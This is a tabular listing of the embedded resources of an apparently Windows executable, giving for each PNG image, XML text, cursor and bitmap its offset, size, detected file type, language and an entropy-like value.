PNG	0x3c23b4	0xbc	PNG image data, 17 x 2, 8-bit/color RGB, non-interlaced	English	United States	1.0159574468085106
PNG	0x3c2470	0xb6	PNG image data, 17 x 2, 8-bit/color RGB, non-interlaced	English	United States	1.010989010989011
PNG	0x3c2528	0x5ce	PNG image data, 15 x 105, 8-bit/color RGB, non-interlaced	English	United States	0.9562584118438762
PNG	0x3c2af8	0x1a30	PNG image data, 56 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0016408114558473
PNG	0x3c4528	0xf7	PNG image data, 5 x 10, 8-bit/color RGB, non-interlaced	English	United States	1.008097165991903
PNG	0x3c4620	0x103	PNG image data, 5 x 10, 8-bit/color RGB, non-interlaced	English	United States	1.0193050193050193
PNG	0x3c4724	0x220	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	English	United States	1.0202205882352942
PNG	0x3c4944	0x1ce	PNG image data, 16 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0238095238095237
PNG	0x3c4b14	0x2a8	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0161764705882352
PNG	0x3c4dbc	0x2a8	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0161764705882352
PNG	0x3c5064	0x159	PNG image data, 16 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0318840579710145
PNG	0x3c51c0	0x177	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0293333333333334
PNG	0x3c5338	0x177	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0293333333333334
PNG	0x3c54b0	0xc3	PNG image data, 16 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.041025641025641
PNG	0x3c5574	0xed	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0464135021097047
PNG	0x3c5664	0xed	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0464135021097047
PNG	0x3c5754	0x1f8	PNG image data, 16 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0218253968253967
PNG	0x3c594c	0x20c	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0209923664122138
PNG	0x3c5b58	0x20c	PNG image data, 21 x 105, 8-bit/color RGBA, non-interlaced	English	United States	1.0209923664122138
PNG	0x3c5d64	0x1e95	PNG image data, 46 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0014050325712096
PNG	0x3c7bfc	0x1018	PNG image data, 100 x 52, 8-bit/color RGB, non-interlaced	English	United States	1.0026699029126214
PNG	0x3c8c14	0x2a8	PNG image data, 26 x 52, 8-bit/color RGB, non-interlaced	English	United States	0.9691176470588235
PNG	0x3c8ebc	0x2d4	PNG image data, 26 x 52, 8-bit/color RGB, non-interlaced	English	United States	0.9696132596685083
PNG	0x3c9190	0xe0e	PNG image data, 50 x 264, 8-bit/color RGB, non-interlaced	English	United States	1.0030572540300167
PNG	0x3c9fa0	0x2f6	PNG image data, 16 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0145118733509235
PNG	0x3ca298	0x118	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0392857142857144
PNG	0x3ca3b0	0xac	PNG image data, 4 x 14, 8-bit/color RGB, non-interlaced	English	United States	1.0
PNG	0x3ca45c	0x144	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0339506172839505
PNG	0x3ca5a0	0x1a5	PNG image data, 55 x 54, 8-bit/color RGB, non-interlaced	English	United States	1.0261282660332542
PNG	0x3ca748	0x527	PNG image data, 55 x 22, 8-bit colormap, non-interlaced	English	United States	0.33965125094768767
PNG	0x3cac70	0x58a	PNG image data, 55 x 54, 8-bit colormap, non-interlaced	English	United States	0.41114245416078987
PNG	0x3cb1fc	0xec9	PNG image data, 26 x 132, 8-bit/color RGB, non-interlaced	English	United States	1.0029062087186262
PNG	0x3cc0c8	0xce	PNG image data, 13 x 13, 8-bit/color RGB, non-interlaced	English	United States	1.0339805825242718
PNG	0x3cc198	0xca	PNG image data, 43 x 11, 8-bit colormap, non-interlaced	English	United States	1.0297029702970297
PNG	0x3cc264	0xc2	PNG image data, 18 x 5, 8-bit colormap, non-interlaced	English	United States	1.0051546391752577
PNG	0x3cc328	0xb7	PNG image data, 10 x 9, 8-bit colormap, non-interlaced	English	United States	0.994535519125683
PNG	0x3cc3e0	0xd0c	PNG image data, 90 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0032934131736526
PNG	0x3cd0ec	0xb47	PNG image data, 20 x 12, 8-bit/color RGB, non-interlaced	English	United States	1.0038101835815725
PNG	0x3cdc34	0x1020	PNG image data, 22 x 110, 8-bit/color RGB, non-interlaced	English	United States	1.0026647286821706
PNG	0x3cec54	0x1c6	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.024229074889868
PNG	0x3cee1c	0x103e	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	0.9177489177489178
PNG	0x3cfe5c	0x551	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	0.9933872152828802
PNG	0x3d03b0	0x301	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	0.9791937581274383
PNG	0x3d06b4	0x779	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0057501306847882
PNG	0x3d0e30	0x9b	PNG image data, 3 x 18, 8-bit/color RGB, non-interlaced	English	United States	1.0064516129032257
PNG	0x3d0ecc	0xdc7	PNG image data, 14 x 276, 8-bit/color RGB, non-interlaced	English	United States	0.9098383895662036
PNG	0x3d1c94	0x9e	PNG image data, 3 x 18, 8-bit/color RGB, non-interlaced	English	United States	1.0253164556962024
PNG	0x3d1d34	0xddf	PNG image data, 14 x 276, 8-bit/color RGB, non-interlaced	English	United States	0.8997465502675303
PNG	0x3d2b14	0x376	PNG image data, 80 x 92, 8-bit/color RGB, non-interlaced	English	United States	0.5575620767494357
PNG	0x3d2e8c	0x332	PNG image data, 15 x 56, 8-bit/color RGB, non-interlaced	English	United States	0.9963325183374083
PNG	0x3d31c0	0x544	PNG image data, 49 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.008160237388724
PNG	0x3d3704	0x33d	PNG image data, 49 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x3d3a44	0xd6a	PNG image data, 13 x 110, 8-bit/color RGB, non-interlaced	English	United States	1.003203261502621
PNG	0x3d47b0	0x114	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.039855072463768
PNG	0x3d48c4	0x513	PNG image data, 13 x 88, 8-bit/color RGB, non-interlaced	English	United States	1.0084680523479599
PNG	0x3d4dd8	0xc2d	PNG image data, 22 x 44, 8-bit/color RGB, non-interlaced	English	United States	1.0035290343278793
PNG	0x3d5a08	0xee9	PNG image data, 50 x 75, 8-bit/color RGB, non-interlaced	English	United States	1.0028818443804035
PNG	0x3d68f4	0x102	PNG image data, 1 x 23, 8-bit/color RGB, non-interlaced	English	United States	0.9534883720930233
PNG	0x3d69f8	0x1d8b	PNG image data, 72 x 150, 8-bit/color RGBA, non-interlaced	English	United States	1.0014544492926087
PNG	0x3d8784	0x1eb	PNG image data, 16 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0224032586558045
PNG	0x3d8970	0x6a	PNG image data, 19 x 3, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x3d89dc	0xfc	PNG image data, 10 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0436507936507937
PNG	0x3d8ad8	0xb51	PNG image data, 31 x 44, 8-bit/color RGB, non-interlaced	English	United States	1.0037970314118052
PNG	0x3d962c	0x85e	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0051353874883286
PNG	0x3d9e8c	0x273	PNG image data, 7 x 39, 8-bit/color RGBA, non-interlaced	English	United States	1.0175438596491229
PNG	0x3da100	0xb0a	PNG image data, 2 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0038924274593064
PNG	0x3dac0c	0xaf9	PNG image data, 16 x 2, 8-bit/color RGB, non-interlaced	English	United States	1.0039159843360626
PNG	0x3db708	0x7da	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0054726368159204
PNG	0x3dbee4	0x118	PNG image data, 8 x 22, 8-bit/color RGB, non-interlaced	English	United States	0.95
PNG	0x3dbffc	0xc9	PNG image data, 4 x 22, 8-bit/color RGB, non-interlaced	English	United States	1.0348258706467661
PNG	0x3dc0c8	0xa6	PNG image data, 11 x 11, 8-bit/color RGB, non-interlaced	English	United States	1.0240963855421688
PNG	0x3dc170	0x118	PNG image data, 8 x 22, 8-bit/color RGB, non-interlaced	English	United States	0.95
PNG	0x3dc288	0xb1a	PNG image data, 2 x 22, 8-bit/color RGB, non-interlaced	English	United States	1.0038705137227304
PNG	0x3dcda4	0x1c21	PNG image data, 88 x 132, 8-bit/color RGBA, non-interlaced	English	United States	0.9934731287321206
PNG	0x3de9c8	0x811	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.0053268765133172
PNG	0x3df1dc	0xd0	PNG image data, 5 x 16, 8-bit/color RGB, non-interlaced	English	United States	1.0384615384615385
PNG	0x3df2ac	0x9c1	PNG image data, 13 x 104, 8-bit/color RGBA, non-interlaced	English	United States	1.0044052863436124
PNG	0x3dfc70	0x346	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0131264916467781
PNG	0x3dffb8	0xe0e	PNG image data, 50 x 264, 8-bit/color RGB, non-interlaced	English	United States	1.0030572540300167
PNG	0x3e0dc8	0x642	PNG image data, 15 x 130, 8-bit colormap, non-interlaced	English	United States	1.0068664169787764
PNG	0x3e140c	0x118	PNG image data, 5 x 80, 8-bit/color RGB, non-interlaced	English	United States	1.0392857142857144
PNG	0x3e1524	0xcb0	PNG image data, 10 x 170, 8-bit/color RGB, non-interlaced	English	United States	1.0033866995073892
PNG	0x3e21d4	0xcc7	PNG image data, 17 x 100, 8-bit/color RGB, non-interlaced	English	United States	1.003362885967594
PNG	0x3e2e9c	0x971	PNG image data, 22 x 110, 8-bit/color RGB, non-interlaced	English	United States	1.0045510964004964
PNG	0x3e3810	0x95c	PNG image data, 22 x 110, 8-bit/color RGB, non-interlaced	English	United States	1.0045909849749584
PNG	0x3e416c	0x9d6	PNG image data, 22 x 110, 8-bit/color RGB, non-interlaced	English	United States	1.0043685464654488
PNG	0x3e4b44	0x9be	PNG image data, 22 x 110, 8-bit/color RGB, non-interlaced	English	United States	1.0044105854049719
PNG	0x3e5504	0xdd5	PNG image data, 24 x 154, 8-bit/color RGB, non-interlaced	English	United States	0.9195142615080486
PNG	0x3e62dc	0x63b	PNG image data, 8 x 132, 8-bit/color RGB, non-interlaced	English	United States	0.8332288401253919
PNG	0x3e6918	0x63b	PNG image data, 8 x 132, 8-bit/color RGB, non-interlaced	English	United States	0.8332288401253919
PNG	0x3e6f54	0x722	PNG image data, 9 x 132, 8-bit/color RGB, non-interlaced	English	United States	0.8674698795180723
PNG	0x3e7678	0xe0e	PNG image data, 24 x 154, 8-bit/color RGB, non-interlaced	English	United States	0.9238465814341301
PNG	0x3e8488	0xdd5	PNG image data, 24 x 154, 8-bit/color RGB, non-interlaced	English	United States	0.9195142615080486
PNG	0x3e9260	0x7bd	PNG image data, 23 x 132, 8-bit/color RGBA, non-interlaced	English	United States	0.8995456839979808
PNG	0x3e9a20	0xf19	PNG image data, 50 x 234, 8-bit/color RGB, non-interlaced	English	United States	0.9169469598965071
PNG	0x3ea93c	0x3e6	PNG image data, 11 x 110, 8-bit/color RGB, non-interlaced	English	United States	0.8256513026052105
PNG	0x3ead24	0x5a0	PNG image data, 50 x 135, 8-bit/color RGBA, non-interlaced	English	United States	0.8625
PNG	0x3eb2c4	0x224	PNG image data, 11 x 78, 8-bit/color RGB, non-interlaced	English	United States	1.02007299270073
PNG	0x3eb4e8	0x1c6	PNG image data, 26 x 33, 8-bit/color RGB, non-interlaced	English	United States	1.024229074889868
PNG	0x3eb6b0	0xec	PNG image data, 26 x 26, 8-bit/color RGB, non-interlaced	English	United States	1.0381355932203389
PNG	0x3eb79c	0xed	PNG image data, 26 x 26, 8-bit/color RGB, non-interlaced	English	United States	1.029535864978903
PNG	0x3eb88c	0xcd	PNG image data, 13 x 13, 8-bit/color RGB, non-interlaced	English	United States	1.0341463414634147
PNG	0x3eb95c	0x84	PNG image data, 1 x 1, 8-bit/color RGB, non-interlaced	English	United States	0.9924242424242424
PNG	0x3eb9e0	0x70	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0267857142857142
PNG	0x3eba50	0xb21	PNG image data, 86 x 2, 8-bit/color RGB, non-interlaced	English	United States	1.0038610038610039
PNG	0x3ec574	0x24b0	PNG image data, 80 x 330, 8-bit/color RGBA, non-interlaced	English	United States	0.995954003407155
PNG	0x3eea24	0x9b	PNG image data, 1 x 216, 8-bit/color RGBA, non-interlaced	English	United States	1.0258064516129033
PNG	0x3eeac0	0x149	PNG image data, 9 x 18, 8-bit/color RGB, non-interlaced			1.033434650455927
PNG	0x3eec0c	0x18c	PNG image data, 10 x 50, 8-bit/color RGB, non-interlaced			1.0277777777777777
PNG	0x3eed98	0x2bd	PNG image data, 13 x 36, 8-bit/color RGBA, non-interlaced			1.0156918687589158
PNG	0x3ef058	0x505	PNG image data, 19 x 114, 8-bit/color RGBA, non-interlaced			1.0085603112840467
PNG	0x3ef560	0x41a	PNG image data, 19 x 114, 8-bit/color RGBA, non-interlaced			1.0104761904761905
PNG	0x3ef97c	0xb5	PNG image data, 19 x 114, 8-bit/color RGBA, non-interlaced			1.0165745856353592
PNG	0x3efa34	0x3bb	PNG image data, 19 x 114, 8-bit/color RGBA, non-interlaced			1.0115183246073298
PNG	0x3efdf0	0x2d0	PNG image data, 19 x 114, 8-bit/color RGBA, non-interlaced			1.0152777777777777
PNG	0x3f00c0	0x707	PNG image data, 49 x 114, 8-bit/color RGBA, non-interlaced			1.0061145080600333
PNG	0x3f07c8	0x62f	PNG image data, 48 x 114, 8-bit/color RGB, non-interlaced			1.0069488313329122
PNG	0x3f0df8	0xb13	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	United States	0.9876543209876543
PNG	0x3f190c	0x320	PNG image data, 34 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.01375
PNG	0x3f1c2c	0xb24	PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced			1.0038569424964936
PNG	0x3f2750	0x1b2	PNG image data, 16 x 15, 8-bit/color RGB, non-interlaced			1.0253456221198156
PNG	0x3f2904	0xca7	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0033961099104662
PNG	0x3f35ac	0xf863	PNG image data, 290 x 207, 8-bit/color RGBA, non-interlaced	English	United States	1.000408888609307
PNG	0x402e10	0x655	PNG image data, 166 x 82, 8-bit/color RGBA, non-interlaced	English	United States	1.0067859346082666
PNG	0x403468	0x57f	PNG image data, 142 x 93, 8-bit/color RGBA, non-interlaced	English	United States	1.007818052594172
PNG	0x4039e8	0x66cd	PNG image data, 200 x 348, 8-bit/color RGBA, non-interlaced	English	United States	1.000189991260402
PNG	0x40a0b8	0xd77	PNG image data, 127 x 410, 8-bit/color RGBA, non-interlaced	English	United States	0.8584276182187409
PNG	0x40ae30	0x6a2	PNG image data, 73 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.0064782096584217
PNG	0x40b4d4	0xc18	PNG image data, 74 x 50, 8-bit/color RGBA, non-interlaced	English	United States	1.0035529715762275
PNG	0x40c0ec	0x3e4	PNG image data, 59 x 68, 8-bit/color RGBA, non-interlaced	English	United States	1.0110441767068272
PNG	0x40c4d0	0x377	PNG image data, 70 x 65, 8-bit/color RGBA, non-interlaced	English	United States	1.012401352874859
PNG	0x40c848	0x4d7	PNG image data, 65 x 75, 8-bit/color RGBA, non-interlaced	English	United States	1.0088781275221954
PNG	0x40cd20	0x1617	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.001945181255526
PNG	0x40e338	0x1848	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0017696267696268
PNG	0x40fb80	0x12d2	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0022831050228311
PNG	0x410e54	0x361	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0127167630057803
PNG	0x4111b8	0x11e0	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0024038461538463
PNG	0x412398	0x255	PNG image data, 22 x 21, 8-bit/color RGBA, non-interlaced	English	United States	1.018425460636516
PNG	0x4125f0	0x23e	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.019163763066202
PNG	0x412830	0x10c	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0149253731343284
PNG	0x41293c	0x230	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.019642857142857
PNG	0x412b6c	0x222	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.02014652014652
PNG	0x412d90	0x129	PNG image data, 22 x 21, 8-bit/color RGBA, non-interlaced	English	United States	1.0235690235690236
PNG	0x412ebc	0x1ba	PNG image data, 22 x 21, 8-bit/color RGBA, non-interlaced	English	United States	1.0248868778280542
PNG	0x413078	0x149	PNG image data, 20 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0243161094224924
PNG	0x4131c4	0xb78	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0037465940054495
PNG	0x413d3c	0x1313	PNG image data, 160 x 16, 8-bit/color RGBA, non-interlaced			1.0022527134958017
PNG	0x415050	0x54d	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0081061164333087
PNG	0x4155a0	0xdb	PNG image data, 43 x 43, 4-bit colormap, non-interlaced			0.9452054794520548
PNG	0x41567c	0x17e2	PNG image data, 120 x 109, 8-bit colormap, non-interlaced			1.001799149492967
PNG	0x416e60	0x188b	PNG image data, 120 x 109, 8-bit colormap, non-interlaced			1.0017507560082763
PNG	0x4186ec	0x1928	PNG image data, 120 x 109, 8-bit colormap, non-interlaced			1.0017080745341616
PNG	0x41a014	0xea3	PNG image data, 161 x 122, 8-bit colormap, non-interlaced			0.911929543634908
PNG	0x41aeb8	0x33d	PNG image data, 32 x 16, 8-bit/color RGBA, non-interlaced			1.0132689987937273
PNG	0x41b1f8	0x142	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0341614906832297
TEXT	0x41b33c	0x789d	XML 1.0 document, ISO-8859 text, with very long lines (574), with CRLF line terminators	English	United States	0.2457168766395699
TEXT	0x422bdc	0x833b	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (763), with CRLF line terminators	English	United States	0.2187825569281143
TEXT	0x42af18	0x8051	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (779), with CRLF line terminators	English	United States	0.2205851015251606
TEXT	0x432f6c	0x8424	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (790), with CRLF line terminators	English	United States	0.2231583303772023
TEXT	0x43b390	0x80a5	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (516), with CRLF line terminators	English	United States	0.24458749582485653
TEXT	0x443438	0x7cb0	XML 1.0 document, Non-ISO extended-ASCII text, with very long lines (669), with CRLF line terminators	English	United States	0.22666040100250626
TEXT	0x44b0e8	0x8a97	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (645), with CRLF line terminators	English	United States	0.2148594943487697
TEXT	0x453b80	0x7f65	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (770), with CRLF line terminators	English	United States	0.22555422684205684
TEXT	0x45bae8	0x8052	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (761), with CRLF line terminators	English	United States	0.2265144596651446
TEXT	0x463b3c	0x7bca	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (728), with CRLF line terminators	English	United States	0.2263490059955822
TEXTFILE	0x46b708	0x4da8	Generic INItialization configuration [Window]	English	United States	0.19386317907444667
RT_CURSOR	0x4704b0	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\360\037\377\377\370?\377\377\374\177\377\377\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.3344155844155844
RT_CURSOR	0x4705e4	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	English	United States	0.5
RT_CURSOR	0x470698	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\370\037\377\377\370\037\377\377\370\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.3344155844155844
RT_CURSOR	0x4707cc	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	English	United States	0.49444444444444446
RT_CURSOR	0x470880	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.4642857142857143
RT_CURSOR	0x4709b4	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.538961038961039
RT_CURSOR	0x470ae8	0x134	data			0.39935064935064934
RT_CURSOR	0x470c1c	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.4512987012987013
RT_CURSOR	0x470d50	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.39285714285714285
RT_CURSOR	0x470e84	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_CURSOR	0x470fb8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.22077922077922077
RT_CURSOR	0x4710ec	0x134	data			0.4383116883116883
RT_CURSOR	0x471220	0x134	data			0.4675324675324675
RT_CURSOR	0x471354	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.40584415584415584
RT_CURSOR	0x471488	0x134	AmigaOS bitmap font "(", fc_YSize 4294966784, 3072 elements, 2nd "\376", 3rd			0.4318181818181818
RT_CURSOR	0x4715bc	0x134	data			0.5909090909090909
RT_CURSOR	0x4716f0	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\370\037\377\377\370\037\377\377\370\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd			0.32142857142857145
RT_CURSOR	0x471824	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"			0.49444444444444446
RT_CURSOR	0x4718d8	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\360\037\377\377\370?\377\377\374\177\377\377\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd			0.33766233766233766
RT_CURSOR	0x471a0c	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"			0.5
RT_CURSOR	0x471ac0	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.3181818181818182
RT_CURSOR	0x471bf4	0x134	data			0.37012987012987014
RT_CURSOR	0x471d28	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.39285714285714285
RT_CURSOR	0x471e5c	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_CURSOR	0x471f90	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.4512987012987013
RT_CURSOR	0x4720c4	0xcac	data			0.08631319358816276
RT_CURSOR	0x472d70	0x134	AmigaOS bitmap font "(", fc_YSize 4294967171, 3840 elements, 2nd "\377\007\340\377\376\017\360\177\374\037\370?\370?\374\037\370\177\376\037\370\377\377\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd			0.4837662337662338
RT_CURSOR	0x472ea4	0x134	data			0.39935064935064934
RT_CURSOR	0x472fd8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.5487012987012987
RT_CURSOR	0x47310c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.474025974025974
RT_CURSOR	0x473240	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	English	United States	0.18983957219251338
RT_CURSOR	0x47352c	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	English	United States	0.16310160427807488
RT_CURSOR	0x473818	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0x47394c	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0x473a00	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0x473b34	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0x473c68	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x473d9c	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0x473ed0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x474004	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0x474138	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x47426c	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x4743a0	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0x4744d4	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0x474608	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0x47473c	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0x474870	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0x4749a4	0x134	data	English	United States	0.3246753246753247
RT_BITMAP	0x474ad8	0x92a	Device independent bitmap graphic, 48 x 16 x 24, image size 0, resolution 3779 x 3779 px/m	English	United States	0.3887468030690537
RT_BITMAP	0x475404	0x728	Device independent bitmap graphic, 48 x 16 x 8, image size 768	English	United States	0.3558951965065502
RT_BITMAP	0x475b2c	0x1138	Device independent bitmap graphic, 112 x 13 x 24, image size 4368, resolution 2834 x 2834 px/m	English	United States	0.3704627949183303
RT_BITMAP	0x476c64	0x928	Device independent bitmap graphic, 48 x 16 x 24, image size 2304	English	United States	0.4372866894197952
RT_BITMAP	0x47758c	0xc2a	Device independent bitmap graphic, 64 x 16 x 24, image size 3074, resolution 3778 x 3778 px/m	English	United States	0.20648683365446371
RT_BITMAP	0x4781b8	0xc8	Device independent bitmap graphic, 20 x 8 x 4, image size 96			0.455
RT_BITMAP	0x478280	0xc8	Device independent bitmap graphic, 20 x 8 x 4, image size 96			0.455
RT_BITMAP	0x478348	0x220	Device independent bitmap graphic, 80 x 11 x 4, image size 440			0.35294117647058826
RT_BITMAP	0x478568	0xe8	Device independent bitmap graphic, 8 x 8 x 24, image size 192			0.1724137931034483
RT_BITMAP	0x478650	0x50	Device independent bitmap graphic, 8 x 8 x 1, image size 32			0.5875
RT_BITMAP	0x4786a0	0x86a	Device independent bitmap graphic, 256 x 16 x 4, image size 2050, resolution 2834 x 2834 px/m			0.2924791086350975
RT_BITMAP	0x478f0c	0x4028	Device independent bitmap graphic, 256 x 16 x 32, image size 16384			0.4798465660009742
RT_BITMAP	0x47cf34	0xb0	Device independent bitmap graphic, 64 x 16 x 1, image size 128, 2 important colors			0.5284090909090909
RT_BITMAP	0x47cfe4	0x1568	Device independent bitmap graphic, 672 x 16 x 4, image size 0			0.30620437956204377
RT_BITMAP	0x47e54c	0x168	Device independent bitmap graphic, 32 x 16 x 4, image size 256			0.25833333333333336
RT_BITMAP	0x47e6b4	0x24c	Device independent bitmap graphic, 88 x 11 x 4, image size 484			0.25510204081632654
RT_BITMAP	0x47e900	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240			0.436046511627907
RT_BITMAP	0x47ea58	0x24a	Device independent bitmap graphic, 64 x 15 x 4, image size 482, resolution 2834 x 2834 px/m			0.30716723549488056
RT_BITMAP	0x47eca4	0x1b8	Device independent bitmap graphic, 56 x 12 x 4, image size 336			0.43863636363636366
RT_BITMAP	0x47ee5c	0x158	Device independent bitmap graphic, 36 x 12 x 4, image size 240			0.33430232558139533
RT_BITMAP	0x47efb4	0x158	Device independent bitmap graphic, 36 x 12 x 4, image size 240			0.36046511627906974
RT_BITMAP	0x47f10c	0x2c0	Device independent bitmap graphic, 80 x 15 x 4, image size 600			0.2741477272727273
RT_BITMAP	0x47f3cc	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240			0.3488372093023256
RT_BITMAP	0x47f524	0x2c0	Device independent bitmap graphic, 80 x 15 x 4, image size 600			0.4005681818181818
RT_BITMAP	0x47f7e4	0x668	Device independent bitmap graphic, 20 x 20 x 32, image size 0			0.3603658536585366
RT_BITMAP	0x47fe4c	0x668	Device independent bitmap graphic, 20 x 20 x 32, image size 0			0.3567073170731707
